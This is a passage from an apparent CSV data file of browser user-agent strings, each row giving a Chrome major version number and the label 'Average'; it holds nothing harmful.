(Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SM-G900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 8530.96.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.154 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9460.60.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.91 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36\",54,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Chedot/8.0.0 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMS210 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; 7040N Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36\",42,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5\",19,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; LG-F180L Build/KOT49I.F180L30b) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36\",38,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\",31,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; MS5.V2 Build/MS5.V2) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22\",25,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1\",21,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9460.73.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.134 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36\",55,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36\",40,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36\",36,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9460.73.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.134 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-N900T Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G386T Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2444.0 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\",26,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Average\n\"Mozilla/5.0 (X11; Linux x86_64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/43.0.2357.134 Safari/537.36http://notifyninja.com/monitoring\",43,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36\",32,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 8172.60.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 8172.62.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22\",25,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22\",25,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\",47,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7390.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.82 Safari/537.36\",46,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7262.57.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.98 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.28 Safari/537.36\",40,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9765.81.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.120 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Linux; Android 4.1.2; Xperia Tipo Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.71 Safari/537.36\",28,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9901.66.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.82 Safari/537.36\",62,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7647.84.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.108 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4; en-us; LGL34C/V100 Build/KRT16S.L34CV10c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.2 Chrome/30.0.1599.103 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36\",34,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG SGH-M919 Build/JDQ39) AppleWebKit/535.19 (KHTML, like Gecko) Version/1.0 Chrome/18.0.1025.308 Mobile Safari/535.19\",18,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36\",31,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LGMS323 Build/KOT49I.MS32310b) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.79 Mobile/14D27 Safari/602.1\",56,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 